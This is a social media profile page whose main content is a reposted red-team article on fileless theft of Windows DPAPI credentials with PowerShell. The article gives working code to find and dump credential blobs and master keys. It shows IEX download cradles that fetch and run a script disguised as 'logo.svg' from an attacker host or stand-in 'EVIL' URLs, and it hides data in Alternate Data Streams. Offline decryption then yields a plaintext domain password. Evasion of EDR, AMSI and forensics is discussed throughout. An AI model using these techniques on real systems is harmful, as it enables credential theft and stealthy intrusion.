nap
0xe9.bsky.social
nap
@0xe9.bsky.social
Reposted by nap
Top 3 SOC Bottlenecks and How to Solve Them
Top 3 SOC Bottlenecks and How to Solve Them  
cybersecuritynews.com
December 16, 2025 at 5:30 PM
Reposted by nap
Fileless DPAPI Credential Extraction With PowerShell
Fileless DPAPI Credential Extraction With PowerShell
Using Living off the Land Techniques for Extracting DPAPI Credentials Background Context In my last post, ‘ Decrypting DPAPI Credentials Offline ’ [1] , I presented an approach to finding, parsing, and extracting DPAPI blobs and master keys for offline decryption using custom tools written in C#. While this approach works, one major shortcoming is the use of binaries uploaded to the file system. The binaries used are not known to endpoint detection and response tools, but that doesn’t last very long. As soon as we use a tool (or publish it), we kick off a cat-and-mouse game with blue teamers and EDR vendors who aim to develop a signature for our Tactics, Techniques, and Procedures (TTPs). Standard tools for DPAPI extraction, such as Mimikatz [2] and SharpDPAPI [3] , are well-known and will trigger alarms. There are methods to obfuscate and execute these solutions in memory, but let’s try something different. In this post, I explore a method leveraging Living Off The Land (LOTL) tactics and techniques to complete the same tasks as before, but without relying on binaries. NOTE: This is not the only approach, method, or toolset to accomplish these goals. The purpose of this post is to present and demonstrate a concept. LOTL Beets and Celery Living Off The Land (LOTL) LOTL Tactics Living Off The Land (LOTL) is a tactic that leverages legitimate utilities and system functionality to complete offensive operational objectives. This helps to avoid setting off alarms or leaving a trail of artifacts. LOLBins Living off the Land Bins, aka ‘LOLBins’, are common binaries found on systems that can be used to facilitate certain parts of offensive operations. Taking the concept further, there is an effort to identify scripts that can also be used, expanding the acronym to LOLBAS  —  Living off the Land Binaries And Scripts. A matrix of valuable resources can be found at the LOLBAS project  [4] : For this post, we’ll focus on PowerShell abuse. PowerShell is a trusted, powerful, and legitimate utility that is part of the Windows operating system installation, and we can take advantage of this fact. Farming Secrets with PowerShell Hunting for DPAPI Blobs To start, we need to be able to find DPAPI-encoded blobs. We’ll mimic the functionality we created for the C# DPAPIBlobHunter [5] project and recursively search from a starting point. For the initial PoC, we’ll limit the search functionality to the filesystem, with ‘registry search’ as a goal for later development. Perform a recursive file search starting from the $Path value, which is provided as a command-line parameter. $fileList = Get-ChildItem -Path $Path -File -Force -Recurse | select-object -ExpandProperty FullName For each file found, load the first $byteCount bytes for processing. # Number of bytes to check $byteCount = 1024 # Read bytes from file $inputBytes = Get-Content -Path $file -Encoding Byte -TotalCount $byteCount Check for the magic byte sequence 01000000D08C9DDF0115D1118C7A00C04FC297EB. # Convert byte array to hex string $hexInputBytes = ($inputBytes | ForEach-Object { "{0:X2}" -f $_ }) -join "" $magicByteIndex = $hexInputBytes.IndexOf("01000000D08C9DDF0115D1118C7A00C04FC297EB") if($magicByteIndex -ge 0) { $md5Hash = Get-FileHash -Path $file -Algorithm MD5 | Select-Object -ExpandProperty Hash $sha1Hash = Get-FileHash -Path $file -Algorithm SHA1 | Select-Object -ExpandProperty Hash $sha256Hash = Get-FileHash -Path $file -Algorithm SHA256 | Select-Object -ExpandProperty Hash ... If the bytes are found, continue to process the file contents. If the bytes are not found ($magicByteIndex = -1), proceed to the next file. Parsing DPAPI Blobs with PowerShell For blob data processing, we’ll mimic the approach used for the C# DPAPIBlobReader [6] project, parsing through the bytes one element at a time and advancing a pointer as we proceed. For the initial PoC, we will keep things simple. We aren’t going to process every field in the blob; let’s specifically extract the master key GUID and the description string . From previous research, we know the blob structure. Fortunately, the data elements that we are interested in are close together at the beginning of the data structure. typedef struct _KULL_M_DPAPI_BLOB { DWORD dwVersion; GUID guidProvider; DWORD dwMasterKeyVersion; GUID guidMasterKey; DWORD dwFlags; DWORD dwDescriptionLen; PWSTR szDescription; ALG_ID algCrypt; DWORD dwAlgCryptLen; DWORD dwSaltLen; PBYTE pbSalt; DWORD dwHmacKeyLen; PBYTE pbHmackKey; ALG_ID algHash; DWORD dwAlgHashLen; DWORD dwHmac2KeyLen; PBYTE pbHmack2Key; DWORD dwDataLen; PBYTE pbData; DWORD dwSignLen; PBYTE pbSign; } KULL_M_DPAPI_BLOB, *PKULL_M_DPAPI_BLOB; Mimikatz: DPAPI Blob Structure (kull_m_dpapi.h) [7] Since the DPAPI structure may not start at byte 0, we need to determine the index of the bytes before processing any fields. To make it easy, we’ll use the IndexOf() method to search a hexadecimal byte string. $magicByteIndex = $hexInputBytes.IndexOf("01000000D08C9DDF0115D1118C7A00C04FC297EB") Now we know where our bytes start ($magicByteIndex), let’s get to processing. Since the value of $magicByteIndex is based on string position, and the rest of our processing will be based on bytes, we’ll initiate our pointer to $magicByteIndex / 2. # the start index was found using a character string, divide by 2 for the byte location $ptrBlob = $magicByteIndex / 2 Extracting the Master Key GUID Sequentially, the first data element we’re interested in is the master key GUID . There are three fields before the master key GUID, and they all have a predictable, static length. dwVersion (4) + guidProvider (16) + dwMasterKeyVersion (4) = 24 +-----------+---------------------+-------------+-------------+ | Data Type | Data Element | 32 Bit size | 64 Bit size | +-----------+---------------------+-------------+-------------+ | DWORD | dwVersion; | 4 | | | GUID | guidProvider; | 16 | | | DWORD | dwMasterKeyVersion; | 4 | | | GUID | guidMasterKey; | 16 | | ... +-----------+---------------------+-------------+-------------+ MSDN: Windows Data Types Data Types (DWORD, PBYTE, PWSTR)  [8] To locate the master key GUID , advance the pointer by the sum of these field lengths (24) and parse the next 16 bytes. After parsing the bytes, advance the blob pointer by the master key GUID field length. # start our pointer from the masterKeyGuid position $ptrBlob += $dwVersion.Length + $guidProvider.Length + $dwMasterKeyVersion.Length # guidMasterKey [System.Array]::Copy($blobFileByteArray, $ptrBlob, $guidMasterKey, 0, $guidMasterKey.Length) $ptrBlob += $guidMasterKey.Length We have located the GUID bytes but need to do a conversion before the data is useful. The master key filename in the ‘Protect’ directory will follow the Windows GUID (UUID) format, which consists of 5 byte groups, separated by dashes, and using a mixed endianness format. “A GUID is a 128-bit value consisting of one group of 8 hexadecimal digits, followed by three groups of 4 hexadecimal digits each, followed by one group of 12 hexadecimal digits. The following example GUID shows the groupings of hexadecimal digits in a GUID: 6B29FC40-CA47–1067-B31D-00DD010662DA.” Source: Microsoft API GUID Definition [9] $masterKeyGuid = [System.Guid]::new($guidMasterKey) Write-Host "[>] Master Key GUID: $masterKeyGuid" From previous research, we know where Windows stores GUID files (%AppData%\Microsoft\Protect\$SID\$GUID). We know the name of the GUID file. The final step is to determine the user’s SID and build the full path to the master key file. The SID value can be retrieved from the current user’s security principal. $userSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value Combine the variables to generate the full file path $mkFilePath. $protectDirectory = $Env:AppData + "\Microsoft\Protect" ... $mkDirectory = $protectDirectory + "\" + $userSid ... $mkFilePath = $mkDirectory + "\" + $mkGuidString At this point, we can extract the bytes for the DPAPI blob and the corresponding master key file to decrypt the data offline. We could stop here and accomplish our goal of decrypting the DPAPI data, but the description field in the blob is one of the only non-operational fields, and the value is stored in plaintext. It is worthwhile to parse the description to see if it provides any valuable information. Parsing the DPAPI Blob Description The description might provide some indication of whether we found something interesting. In some cases, the description itself may contain sensitive data. Unlike the master key GUID and the fields that precede it, which have a static length, the description has a variable length . The length is stored in the field ‘dwDescriptionLen’. Let’s start by processing the length value from the input bytes and then converting it to an unsigned 32-bit integer (uint32). # dwDescriptionLen [System.Array]::Copy($blobFileByteArray, $ptrBlob, $dwDescriptionLen, 0, $dwDescriptionLen.Length) $ptrBlob += $dwDescriptionLen.Length # convert the byte array to an integer, needed to allocate the description byte array [uint32]$descriptionLength = [System.BitConverter]::ToUInt32($dwDescriptionLen, 0) if($VerbosePreference) { Write-Host "[>] descriptionLength: $descriptionLength" } We need to convert the length value to an integer, so that we can use it to initialize the description byte array and copy the correct number of bytes. After parsing the bytes, the value is converted to a user-readable string with the UTF8.GetString() method. [System.Array]::Copy($blobFileByteArray, $ptrBlob, $szDescription, 0, $descriptionLength) $ptrBlob += $descriptionLength $readableDescription = [System.Text.Encoding]::UTF8.GetString($szDescription) Since the description is plaintext, it can also be triaged using Format-Hex to dump the bytes to stdout. *Evil-WinRM* PS C:\Users\sample.user\Documents> Format-Hex -Path C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 Path: C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 01 00 00 00 92 01 00 00 00 00 00 00 01 00 00 00 ............... 00000010 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB Ðz.ÀOÂë 00000020 01 00 00 00 12 24 6A 55 75 12 CF 4C B7 21 E6 A0 .....$jUu.ÏL·!æ 00000030 B4 F9 04 07 00 00 00 20 3A 00 00 00 45 00 6E 00 ´ù..... :...E.n. 00000040 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 t.e.r.p.r.i.s.e. 00000050 20 00 43 00 72 00 65 00 64 00 65 00 6E 00 74 00 .C.r.e.d.e.n.t. 00000060 69 00 61 00 6C 00 20 00 44 00 61 00 74 00 61 00 i.a.l. .D.a.t.a. 00000070 0D 00 0A 00 00 00 03 66 00 00 C0 00 00 00 10 00 .......f..À..... 00000080 00 00 71 1B ED 18 0E 9A FF BD 35 AE 0E 91 FF 77 ..q.í..½5®..w 00000090 B3 95 00 00 00 00 04 80 00 00 A0 00 00 00 10 00 ³....... ..... In PowerShell 6 and later , the Format-Hex cmdlet features the ‘-Count’ and ‘-Offset’ parameters, which significantly simplify the process of parsing these bytes with PowerShell. PowerShell 5.1 remains the default version for Windows desktops, so I will revisit this when PowerShell 6+ becomes more widely adopted. Extracting DPAPI Blob and Master Key Bytes After we’ve identified a credential blob and the corresponding master key file, we need to extract the bytes to re-create the file on our attack machine and decrypt offline. To facilitate this, let’s output the raw bytes in a helpful format. I like working with C-style hexadecimal strings, and this format makes it easy for us to recreate the binary file on our attack machine. ($blobFileByteArray | ForEach-Object { "\x{0:X2}" -f $_ }) -join "" The hex bytes may be sufficiently portable for exfiltration; however, the data can also be easily encoded in Base64. Encoding is crucial to consider when transferring data over the wire. LOTL Base64 Encoding Sticking with LOTL techniques, I’ll cover two methods for Base64 encoding the DPAPI data that we need to exfiltrate: PowerShell and certutil.exe. PowerShell PowerShell is the ideal solution for Base64 encoding the bytes, in this scenario, since we already have established access and the ability to execute PowerShell. The code is simple and can be added to the PowerDPAPI script without much effort. $base64EncodedString = [System.Convert]::ToBase64String($bytes) Let’s use an option named ‘Format’ to indicate what type of encoding the output operation should use. function Invoke-PowerDPAPI { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [string]$Path, [string]$Format="hex" ) ... # write bytes to stdout Write-Host "-------------- START blob output --------------" if($Format -eq "base64") { $base64EncodedBlob = [System.Convert]::ToBase64String($blobFileByteArray) Write-Host $base64EncodedBlob } else { ($blobFileByteArray | ForEach-Object { "\x{0:X2}" -f $_ }) -join "" } Write-Host "-------------- EOF blob output --------------" Running PowerDPAPI with the ‘-Format base64’ option will switch the byte output from hexadecimal to Base64. *Evil-WinRM* PS C:\Users\sample.user\Documents> Invoke-PowerDPAPI C:\users\sample.user\appdata\roaming\Microsoft\Credentials\ -Format base64 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * [!] Probable DPAPI blob found [>] File: C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 [>] MD5 Hash: DD0259EC230BB91EF986E7B97835B0E4 ... [>] descriptionString: Enterprise Credential Data -------------- START blob output -------------- AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3Ieagtk...redacted -------------- EOF blob output -------------- [>] Locating corresponding master key file [>] mkFilePath: C:\Users\sample.user\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 -------------- START master key -------------- AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQ...redacted -------------- EOF master key -------------- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * [*] Done. *Evil-WinRM* PS C:\Users\sample.user\Documents> certutil.exe certutil.exe can also be used to Base64 the files, but it involves writing to the filesystem , which we’re trying to avoid in this fileless approach. [10] If certutil.exe is used, Alternate Data Streams should be leveraged to help conceal the presence of the data until it can be exfiltrated and removed. Encode the blob to an Alternate Data Stream using the file named ‘file.ext’ and an ADS named ‘notablob’ *Evil-WinRM* PS C:\Users\sample.user\Documents> type file.ext Nothing to see here. *Evil-WinRM* PS C:\Users\sample.user\Documents> *Evil-WinRM* PS C:\Users\sample.user\Documents> certutil -encode C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 C:\Users\sample.user\Documents\file.ext:notablob Input Length = 414 Output Length = 626 CertUtil: -encode command completed successfully. *Evil-WinRM* PS C:\Users\sample.user\Documents> *Evil-WinRM* PS C:\Users\sample.user\Documents> type file.ext Nothing to see here. *Evil-WinRM* PS C:\Users\sample.user\Documents> Retrieve the bytes from the Alternate Data Stream. *Evil-WinRM* PS C:\Users\sample.user\Documents> Get-Content -Path "C:\Users\sample.user\Documents\file.ext" -Stream "notablob" -----BEGIN CERTIFICATE----- AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3Ieag tPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQA aQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93 s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8 AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYP SiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1Esx FdHCp9cT1fHIHl0cXredactedredactedredactedT8i7rw1h5fEzlCX7IFzIu0a vyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8Q mFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc -----END CERTIFICATE----- *Evil-WinRM* PS C:\Users\sample.user\Documents> Clean up the ADS with the ‘Remove-Item’ cmdlet and confirm that the steam has been deleted. *Evil-WinRM* PS C:\Users\sample.user\Documents> Remove-Item -Path "C:\Users\sample.user\Documents\file.ext" -Stream "notablob" *Evil-WinRM* PS C:\Users\sample.user\Documents> *Evil-WinRM* PS C:\Users\sample.user\Documents> Get-Content -Path "C:\Users\sample.user\Documents\file.ext" -Stream "notablob" Could not open the alternate data stream 'notablob' of the file 'C:\Users\sample.user\Documents\file.ext'. At line:1 char:1 + Get-Content -Path "C:\Users\sample.user\Documents\file.ext" -Stream ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Users\sample.user\Documents\file.ext:String) [Get-Content], FileNotFoundException + FullyQualifiedErrorId : GetContentReaderFileNotFoundError,Microsoft.PowerShell.Commands.GetContentCommand *Evil-WinRM* PS C:\Users\sample.user\Documents> *Evil-WinRM* PS C:\Users\sample.user\Documents> type file.ext Nothing to see here. *Evil-WinRM* PS C:\Users\sample.user\Documents> Proof-of-Concept Stage PowerShell Stage PowerDPAPI on the attack machine by cloning the GitHub repository. https://github.com/toneillcodes/PowerDPAPI [11] $ git clone https://github.com/toneillcodes/PowerDPAPI Cloning into 'PowerDPAPI'... remote: Enumerating objects: 10, done. remote: Counting objects: 100% (10/10), done. remote: Compressing objects: 100% (9/9), done. remote: Total 10 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (10/10), 5.50 KiB | 5.50 MiB/s, done. Resolving deltas: 100% (1/1), done. $ Change to the project directory and create a copy of the Invoke-PowerDPAPI.ps1 script named ‘logo.svg’. PowerShell obfuscation is outside the scope of this post, but there is no reason to leave the filename or the ‘ps1’ extension. $ cd PowerDPAPI $ $ cp Invoke-PowerDPAPI.ps1 logo.svg $ Start a Python web server to serve the script. $ python -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... Download Cradle In this scenario, a ‘download cradle’ is a technique used to download, load, and execute PowerShell scripts in memory, avoiding the need to write to the disk. The options for downloading the content vary, and the best solution will depend on the target system and the operational guidelines. Ultimately, the goal is to pass the content to the Invoke-Expression cmdlet (alias ‘iex’). The following list is from HarmJ0y’s DownloadCradles.ps1 [12] which provides several examples. # normal download cradle IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") # PowerShell 3.0+ IEX (iwr 'http://EVIL/evil.ps1') # hidden IE com object $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r # Msxml2.XMLHTTP COM object $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText # WinHttp COM object (not proxy aware!) $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText The most straightforward example is the best known, which uses the DownloadString method from the Net.WebClient class. IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.84:8080/logo.svg") To bypass AMSI there are methods to obfuscate the PowerShell cradle and code itself. These topics are outside of the scope of this post, but in-depth research can be found on Daniel Bohannon’s blog [13] . A couple of posts to start with: The Invoke-Obfuscation Usage Guide   [14] The Invoke-CradleCrafter Overview   [15] Successful execution doesn’t output any confirmation on the client side. *Evil-WinRM* PS C:\Users\sample.user\Documents> IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.84:8080/logo.svg") *Evil-WinRM* PS C:\Users\sample.user\Documents> On the server side, you should see the connection from the client in the Python terminal. Press CTRL+C to exit the Python web server after the data has been transferred. $ python -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 10.129.4.164 - - [06/Jul/2025 07:40:27] "GET /logo.svg HTTP/1.1" 200 - ^C Keyboard interrupt received, exiting. $ Finding and Dumping DPAPI Data After the script has loaded, run PowerDPAPI and provide the base search path as the first command-line parameter. Invoke-PowerDPAPI -Path C:\users\sample.user\appdata\roaming\Microsoft\Credentials\ If any DPAPI blobs are found, the script will identify the master key used , output the description field , dump the blob bytes and master key bytes in hexadecimal format. If the master key cannot be found in the ‘Protect’ folder, a message is displayed informing the operator. *Evil-WinRM* PS C:\Users\sample.user\Documents> Invoke-PowerDPAPI -Path "C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" [*] Running PowerDPAPI ********************************************************************** [!] Probable DPAPI blob found [>] File: C:\users\sample.user\appdata\roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 [>] MD5 Hash: DD0259EC230BB91EF986E7B97835B0E4 [>] SHA-1 Hash: 8AFFB716BB354D804B35A6DD67A76A282AC14A9C [>] SHA-256 Hash: 8548009D5C745646B375904CB5531E28622A595652F255A1DF2E5EB50DF3D654 [>] Master Key GUID: 556a2412-1275-4ccf-b721-e6a0b4f90407 [>] Blob Description: Enterprise Credential Data -------------- START blob output -------------- \x01\x00\x00\x00\x92\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xD0\x8C\x9D\...redacted -------------- EOF blob output -------------- [>] Locating corresponding master key file [>] Master Key Found: C:\Users\sample.user\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 -------------- START master key -------------- \x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x00\x35\x00\x36\x00\x61\...redacted -------------- EOF master key -------------- ********************************************************************** [*] Done. *Evil-WinRM* PS C:\Users\sample.user\Documents> Copy the credential blob bytes from the output and write the bytes to a credential file (C8D69EBE9A43E9DEBF6B5FBD48B521B9) on our attack machine: echo -en ‘\x01\x00\x00\x00\x92\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd0\x8c\…’ > C8D69EBE9A43E9DEBF6B5FBD48B521B9 Copy the master key bytes from the output and write the bytes to a master key file (556a2412–1275–4ccf-b721-e6a0b4f90407) on our attack machine: echo -en ‘\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35…’ > 556a2412-1275-4ccf-b721-e6a0b4f90407 Decrypting Blobs Offline Now that we’ve collected the master key file , the SID value, and the password , we can extract the key needed to decrypt the blob. This can be done using a number of tools. In this example, we will use Impacket’s dpapi.py script with the ‘masterkey’ option. dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'redacted' $ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'redacted' Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies [MASTERKEYFILE] Version : 2 (2) Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407 Flags : 0 (0) Policy : 4ccf1275 (1288639093) MasterKeyLen: 00000088 (136) BackupKeyLen: 00000068 (104) CredHistLen : 00000000 (0) DomainKeyLen: 00000174 (372) Decrypted key with User Key (MD4 protected) Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e...redacted $ Finally, we’ll use Impacket’s dpapi.py script again to decrypt the blob contents using the ‘ credential ’ option combined with the blob filename and key we just extracted . dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e...redacted $ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e...redacted Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies [CREDENTIAL] LastWritten : 2025-03-08 15:54:29+00:00 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=example.local Description : Unknown : Username : sample.user_adm Unknown : OmgPsww0rd2025! $ OPSEC Considerations Tactics & Techniques Applied In the MITRE framework, utilizing the download cradle falls under ‘Tactic TA0011: Command and Control’. Technique T1105: Ingress Tool Transfer  [16] In the MITRE framework, utilizing PowerShell falls under ‘Tactic TA0002: Execution’. Technique T1059: Command and Scripting Interpreter [17] Sub-Technique T1059.001: PowerShell [18] Advantages Living Off The Land (LOTL) techniques provide a variety of options to complete our operational goals in a secure and stealthy manner. Fileless attack avoids triggering alarms with known file signatures, limits leftover artifacts that other operators or DFIR can find. Invoke-Expression avoids the need to start a new PowerShell process with ExecutionPolicy set to ‘bypass’. Avoids changing attributes on Credential and Master Key files, which could set off alarms and leave a trail of system activity for DFIR. Avoids changing attributes on Credential and Master Key files, which could expose sensitive data to other users with access to the system. Enables offline decryption with the tool of your choice (Impacket, Mimikatz, DonPAPI, dploot…). Avoids calling the DPAPI Unprotect methods on the compromised host, which will get logged to the Windows Event log and may get flagged as suspicious or malicious activity. [19] Next Steps Continued development of PowerShell DPAPI functionality — triage credential files, master key files, vaults, registry keys, etc. ‘Slim’ version stripped down to the essentials making the script smaller and even more portable. Rewrite using Format-Hex and other PowerShell 6+ features to simplify and streamline byte processing and conversions. Follow-up post about PowerShell script and cradle obfuscation and AMSI bypass. References [1] Decrypting DPAPI Credentials Offline https://medium.com/@toneillcodes/decrypting-dpapi-credentials-offline-8c8f27207956 [2] Mimikatz https://github.com/gentilkiwi/mimikatz [3] SharpDPAPI https://github.com/GhostPack/SharpDPAPI [4] LOLBAS Project on GitHub https://lolbas-project.github.io/ [5] DPAPIBlobHunter https://github.com/toneillcodes/dpapi-projects/tree/main/DPAPIBlobHunter [6] DPAPIBlobReader https://github.com/toneillcodes/dpapi-projects/tree/main/DPAPIBlobReader [7] Mimikatz: DPAPI Blob Structure (kull_m_dpapi.h) https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_dpapi.h#L24 [8] MSDN: Windows Data Types Data Types (DWORD, PBYTE, PWSTR) https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types [9] Microsoft API GUID Definition https://learn.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid [10] LOLBAS: Certutil.exe https://lolbas-project.github.io/lolbas/Binaries/Certutil/ [11] PowerDPAPI https://github.com/toneillcodes/PowerDPAPI [12] HarmJ0y’s PowerShell Download Cradles https://gist.github.com/HarmJ0y/bb48307ffa663256e239 [13] Daniel Bohannon’s blog https://www.danielbohannon.com/blog-1 [14] Daniel Bohannon: The Invoke-Obfuscation Usage Guide https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide [15] Daniel Bohannon: The Invoke-CradleCrafter Overview https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-cradlecrafter-overview [16] Technique T1105: Ingress Tool Transfer https://attack.mitre.org/techniques/T1105/ [17] Technique T1059: Command and Scripting Interpreter https://attack.mitre.org/techniques/T1059/ [18] Sub-Technique T1059.001: PowerShell https://attack.mitre.org/techniques/T1059/001/ [19] MSDN: Audit DPAPI Activity https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-dpapi-activity Fileless DPAPI Credential Extraction With PowerShell was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
infosecwriteups.com
July 14, 2025 at 12:01 PM